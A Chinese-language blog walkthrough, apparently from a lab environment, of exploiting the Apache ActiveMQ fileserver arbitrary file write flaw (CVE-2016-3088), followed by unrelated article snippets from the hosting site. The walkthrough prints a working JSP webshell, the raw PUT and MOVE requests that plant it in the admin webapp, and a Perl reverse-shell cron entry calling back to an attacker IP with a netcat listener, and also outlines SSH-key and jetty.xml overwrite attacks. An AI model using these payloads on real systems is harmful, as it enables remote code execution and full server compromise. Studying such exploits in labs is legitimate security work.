CVE-2016-3088(ActiveMQ任意文件写入漏洞)

news2025/1/11 13:56:40

漏洞描述

        1、漏洞编号:CVE-2016-3088

        2、影响版本:Apache ActiveMQ 5.x~5.13.0

        在 Apache ActiveMQ 5.12.x~5.13.x 版本中,默认关闭了 fileserver 这个应用(不过,可以在conf/jetty.xml 中开启);在 5.14.0 版本后彻底删除了 fileserver 应用。【所以在渗透测试过程中要确定好 ActiveMQ 的版本,免去无用功】

漏洞介绍

        该漏洞出现在 fileserver 应用中,漏洞原理是 fileserver 支持写入文件(但不解析 jsp),同时支持移动文件(MOVE 请求)。所以我们只需写入一个文件,然后使用 MOVE 请求将其移动到任意位置,造成任意文件写入漏洞。

写入文件方法

  • 写入 webshell
  • 写入 cron 或 ssh key 等文件
  • 写入 jar 或 jetty.xml 等库和配置文件

启动漏洞环境

docker-compose up -d

docker-compose ps 

访问 WEB 页面,版本在漏洞影响范围内

方法一:写入 webshell

【该方法的使用条件】

1、需要知道 ActiveMQ 的绝对路径

2、需要能登录 admin 或者 api

【分析条件】

1、ActiveMQ 的绝对路径可以通过 http://your-ip:8161/admin/test/systemProperties.jsp 页面获取,不过该页面需要登录才能访问。

2、获取用户名和密码,可以通过弱口令、暴力破解、社工等方法(不过题目已经给出了默认用户名和密码 admin/admin,这里就省去了这个步骤)

【解题思路】

进入页面

下一步,上传 webshell

需要把 webshell 上传到 fileserver,然后才能从 fileserver 转移。因为 ActiveMQ 是个 java 程序,因此需要传个 jsp webshell

直接在上图页面抓包即可,下面是刚抓到包后的样子,接下来对数据包进行修改

这是我们的 webshell 代码

<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
 
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>

修改成下图所示,然后发送即可得到响应(204 表示操作成功)

然后在上面基础上继续修改该包,把 PUT 改成 MOVE ,然后在下一行添加

Destination: file:///opt/activemq/webapps/admin/1.jsp

用 MOVE 方法将 webshell 移动到 admin 所在文件夹,响应 204 表示操作成功

【当然了,移动到 api 下也是可以的,我这边移动到 admin 目录下】

接下来就可以使用蚁剑进行连接了【这里用的是 kali 中的蚁剑】

不知道 kali 中怎么使用蚁剑的看这里

VMware之kali安装中国蚁剑_kali如何打开蚁剑-CSDN博客

重点是记住 admin 应用是需要登录的,所以记得一定要在连接中添加 Authorization 头

Authorization:YWRtaW46YWRtaW4=

测试连接,连接成功

方法二:写入 ssh key

【前提条件】

1、需要运行 ActiveMQ 的用户有 root 权限

2、需要服务器开启了 ssh 服务,并且攻击机可以连接

【分析条件】

1、

发现该用户是 root 权限,条件一满足

2、可以使用 nmap 工具来探测服务器是否开启了 ssh 且可达

nmap -sV your-ip -p-

发现只开启了 8161、61616 端口且可达,没有开启 ssh 服务,所以条件二不满足,写入 ssh key 的方法行不通

方法三:写入 cron 拿反弹 shell

【前提条件】

1、需要运行 ActiveMQ 的用户有 root 权限

2、服务器开启了 cron 服务

3、运行 ActiveMQ 的用户有使用 crontab 的权限

【拓展】

1、cron 是 Linux 系统的守护进程,用于在特定时间自动执行重复任务。

2、标准 shell 是攻击者作为客户端去连接目标服务器;反弹 shell 是攻击者作为服务器,监听某端        口,而目标设备作为客户端主动连接攻击者

      应用场景:

      ①、目标机在局域网内

      ②、目标机 ip 地址是动态的

      ③、有防火墙等限制,目标机只能发请求,不能收请求

      ④、不确定目标机何时具备连接条件

【条件分析】

1、前面已经分析过了,确实是 root 权限

2、经过下列分析得到开启了 cron 服务(root 权限对该文件可读可写)

3、第三点条件默认情况是满足的,除非存在 cron.allow 或者 cron.deny 文件,但这两个文件在            vulhub 提供的漏洞环境中不存在,因此理论上可以写入 cron 拿反弹 shell

【cron.allow 文件和 cron.deny 文件】

cron.allow cron.deny 是限制 crontab 命令使用的用户名单。allow 是允许使用 crontab 命令的用户,deny 是不允许使用 crontab 命令的用户。

两份文件不一定都存在,在 Linux 中,会做如下规定:

(1)如果 cron.allow 文件存在但 cron.deny 文件不存在,那么在文件中写下的用户名,允许执行 crontab 命令。

(2)如果 cron.deny 文件存在但 cron.allow 文件不存在,那么在文件中写下的用户名,不允许执行 crontab 命令。

(3)如果两份文件都存在,那么只有 allow 文件具备优先权,只能使用 allow 文件来做限定用户。

(4)如果两份文件都不存在,那么会根据相关配置文件(depending on site-dependent configuration parameters),要么只有 root 用户允许执行该命令,要么所有的用户都能执行该命令。

【解题思路】

1、上传 cron 文件到 fileserver

2、把 cron 文件从 fileserver 移动到 /etc/cron.d/

2、攻击机上开启监听并等待反弹 shell 连接

反弹shell的方法总结 - FreeBuf网络安全行业门户

【内容截取自:vulhub ActiveMQ任意文件写入漏洞 (CVE-2016-3088) - FreeBuf网络安全行业门户】

/etc/cron.d 攻略_51CTO博客_/etc/cron.hourly

反弹 shell 内容:

*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="vps.ip";$p=vps.port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
##

抓包上传

PUT /fileserver/cron.txt HTTP/1.1

Host: 0.0.0.0:8161

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Authorization: Basic YWRtaW46YWRtaW4=

Connection: close

Cookie: JSESSIONID=11siqqdhx6onj9w5jslkl7jiz

Upgrade-Insecure-Requests: 1

Content-Length: 254



*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="192.168.43.69";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

##

上传成功,移动文件到目标目录中

MOVE /fileserver/cron.txt HTTP/1.1

Destination: file:///etc/cron.d/root

Host: 0.0.0.0:8161

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Authorization: Basic YWRtaW46YWRtaW4=

Connection: close

Cookie: JSESSIONID=11siqqdhx6onj9w5jslkl7jiz

Upgrade-Insecure-Requests: 1

Content-Length: 254



*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="192.168.43.69";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

##

在终端输入

nc -l -p 7777 

输入完后等待即可

可以做一些操作

方法四:修改 jetty.xml

【前提条件】

1、需要知道 ActiceMQ 的绝对路径

2、需要有 jetty.xml 的写权限

【分析】

使用该方法主要是来突破 admin 应用和 api 应用的访问控制权限。大概就是修改 jetty.xml 文件。使 admin 和 api 应用不用登录,然后写入webshell

(通过大佬的文章还提供了另一种思路:修改 jetty-realm.properties 文件中的用户密码,不过由于 jetty.xml 中限制了用户名,所以修改 jetty-realm.properties 文件的方法还需要一个前提是知道用户名,这个方法相对上面那个麻烦)

【完整的攻击思路】

1、获取 ActiveMQ 的绝对路径

2、上传修改后的 jetty.xml 文件到 fileserver

3、转移上传的 jetty.xml 文件到 ActiveMQ 的绝对路径 /conf/jetty.xml,覆盖原本的 jetty.xml          文件,目的是绕过 admin 和 api 的登录

4、上传 webshell 到 fileserver

5、转移 webshell 到 admin 或 api 的目录下

6、连接 webshell

【目前我也没成功,也没有找到有成功的文章,都是写理论上可行,有推荐的兄弟和我说一下】

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1459857.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【最优化】一维搜索

首先我们需要先明确一下我们的任务是什么&#xff1f; 我们的任务是给定一个未知函数&#xff0c;如何找到它的最小值。 三点二次插值法 给定三个点&#xff0c;拟合一条二次曲线&#xff0c;每次迭代更新&#xff0c;当时停止迭代。 GitHub - ldx-star/Numerical-Optimizati…

在前后端分离项目中如何设置统一返回格式

目录 一、步骤一 二、步骤二 在前后端分离的项目中&#xff0c;为了方便前后端交互&#xff0c;后端往往需要给前端返回固定的数据格式&#xff0c;但不同的实体类返回格式不同&#xff0c;所以在真实开发中&#xff0c;我们将所有API接口设置返回统一的格式。基本上包括的有…

Vue路由组件练习

Vue 路由组件练习 1. 演示效果 2. 代码分析 2.1. 安装 vue-router 命令&#xff1a;npm i vue-router 应用插件&#xff1a;Vue.use(VueRouter) 2.2. 创建路由文件 在 src 文件夹下&#xff0c;创建router文件夹&#xff0c;并在该文件夹创建index.js文件 2.3. 导入依赖…

qt - 19种精美软件样式

qt - 19种精美软件样式 一、效果演示二、核心程序三、下载链接 一、效果演示 二、核心程序 #include "mainwindow.h"#include <QtAdvancedStylesheet.h> #include <QmlStyleUrlInterceptor.h>#include "ui_mainwindow.h" #include <QDir&g…

软考32-上午题-【知识产权】-计算机软件著作权

一、计算机软件著作权的主体和客体 1-1、计算机软件著作权的主体 享有著作权的人。 依据的是&#xff1a;《中华人民共和国著作权法》、《计算机软件保护条例》 1-2、计算机软件著作权的客体 受保护的对象&#xff1a;计算机程序、及其相关文档 1、计算机程序 包括&#x…

使用 npm/yarn 等命令的时候会,为什么会发生 Error: certificate has expired

缘起 昨天&#xff0c;我写了一篇文章&#xff0c;介绍如何使用项目模板&#xff0c;构建一个 Electron 项目的脚手架&#xff0c;我发现我自己在本地无法运行成功&#xff0c;出现了错误。 ✖ Failed to install modules: ["electron-forge/plugin-vite^7.2.0",&qu…

解决pycharm中PIL安装失败

问题&#xff1a;在调用pil时显示pil标红 我在设置中下载每次失败&#xff0c;显示 ERROR: Could not find a version that satisfies the requirement PIL (from versions: none) ERROR: No matching distribution found for PIL我尝试了很久&#xff0c;查看了一些博客 &a…

2024关于支付行业的探讨

目前&#xff0c;全球的支付科技正迅猛地发展和创新。各种新兴技术不断推动支付方式的改变&#xff0c;包括移动支付、跨境支付、生物识别和嵌入式支付。基于这一背景&#xff0c;IDC提供了支付科技的十大预测&#xff0c;旨在为技术领导者和相关业务人员在制定战略规划时提供参…

Linux命令-cal命令(显示当前日历或指定日期的日历)

说明 cal命令 用于显示当前日历&#xff0c;或者指定日期的日历&#xff0c;如果没有指定参数&#xff0c;则显示当前月份。 一个单一的参数指定要显示的年份 (1 - 9999) ; 注意年份必须被完全地指定: cal 89 不会 显示1989年的日历. 两个参数表示月份 (1 - 12) 和年份. 如果没…

HarmonyOS 鸿蒙应用开发(十二、paho-mqtt的mqtt客户端库移植)

PAHO MQTT 是 Eclipse Foundation 的一个开源项目&#xff0c;提供了用于 MQTT 协议的客户端库。这个库为使用 MQTT 协议的应用程序提供了丰富的功能和灵活性。轻量级mqtt服务器mosquitto也是其中有名的一个开源项目。 目录 PAHO MQTT介绍 移植过程 index.d.ts文件修改 写…

Web3区块链游戏:创造虚拟世界的全新体验

随着区块链技术的不断发展&#xff0c;Web3区块链游戏正逐渐崭露头角&#xff0c;为玩家带来了全新的虚拟世界体验。传统游戏中的中心化结构和封闭经济体系已经被打破&#xff0c;取而代之的是去中心化的游戏环境和真实所有权的数字资产。本文将深入探讨Web3区块链游戏的特点、…

并发编程-线程协作工具类

工具类概览 下面我们一个个直接通过案例代码来看我们这些工具类可以用来做什么事情 CountDownLatch final CountDownLatch countDownLatch new CountDownLatch(10);final CountDownLatch countDownLatchNoStop new CountDownLatch(10);long startTime System.currentTimeMi…

jenkins的nmp install命令无法下载包

问题&#xff1a;在jenkin的流水线脚本中执行到&#xff1a;npm install命令后无法下载前端依赖包 1、进到jenkins的工作目录&#xff0c;一般在底层为/var/lib/jenkins/workspace/任务名称 cd /var/lib/jenkins/workspace/xkc处理方式&#xff1a; # 查看镜像源 npm config …

《Solidity 简易速速上手小册》第1章:Solidity 和智能合约简介(2024 最新版)

文章目录 1.1 Solidity 的起源和重要性1.1.1 基础知识解析1.1.2 重点案例&#xff1a;去中心化金融 (DeFi) 平台案例 Demo&#xff1a;简易借贷平台 1.1.3 拓展案例 1&#xff1a;NFT 市场案例 Demo&#xff1a;简易 NFT 市场 1.1.4 拓展案例 2&#xff1a;智能合约管理的投票系…

C语言:数组指针 函数指针

C语言&#xff1a;数组指针 & 函数指针 数组指针数组名 数组访问二维数组 函数指针函数指针使用回调函数 typedef关键字 数组指针 数组本质上也是一个变量&#xff0c;那么数组也有自己的地址&#xff0c;指向整个数组的指针&#xff0c;就叫做数组指针。 我先为大家展示…

stm32——hal库学习笔记(GPIO)

一、GPIO的八种模式分析&#xff08;熟悉&#xff09; GPIO_Mode_IN_FLOATING 浮空输入 GPIO_Mode_IPU 上拉输入 GPIO_Mode_IPD 下拉输入 GPIO_Mode_AIN 模拟输入 GPIO_Mode_Out_OD 开漏输出 GPIO_Mode_Out_PP 推挽输出 GPIO_Mode_AF_OD 复用开漏输出 GPIO_Mode_AF_PP 复用推挽…

springboot+vue的宠物咖啡馆平台(前后端分离)

博主主页&#xff1a;猫头鹰源码 博主简介&#xff1a;Java领域优质创作者、CSDN博客专家、阿里云专家博主、公司架构师、全网粉丝5万、专注Java技术领域和毕业设计项目实战&#xff0c;欢迎高校老师\讲师\同行交流合作 ​主要内容&#xff1a;毕业设计(Javaweb项目|小程序|Pyt…

【Linux】自主WEB服务器实现

自主web服务器实现 1️⃣构建TcpServer2️⃣构建HttpServer3️⃣构建HttpRequest和HttpResponseHttp请求报文格式Http相应报文读取、处理请求&构建响应读取请求中的一行读取请求中需要注意的点 4️⃣CGI模式判断是否需要用CGI处理请求构建任务&线程池管理 5️⃣实验结果…

day02_java基础_变量_数据类型等

零、今日内容 1 HelloWorld程序 2 idea使用 3 变量 4 数据类型 5 String 一、复习 班规班纪。。。。。 安装jdk JDK 是开发工具 JRE 是运行代码 JDK包含JRE 配置环境变量 二、HelloWorld程序 前提&#xff1a;JDK已经安装配置完毕&#xff0c;有了这些环境就敲代码 代码…

【Flink精讲】Flink内核源码分析:命令执行入口

官方推荐per-job模式&#xff0c;一个job一个集群&#xff0c;提交时yarn才分配集群资源&#xff1b; 主要的进程&#xff1a;JobManager、TaskManager、Client 提交命令&#xff1a;bin/flink run -t yarn-per-job /opt/module/flink-1.12.0/examples/streaming/SocketWind…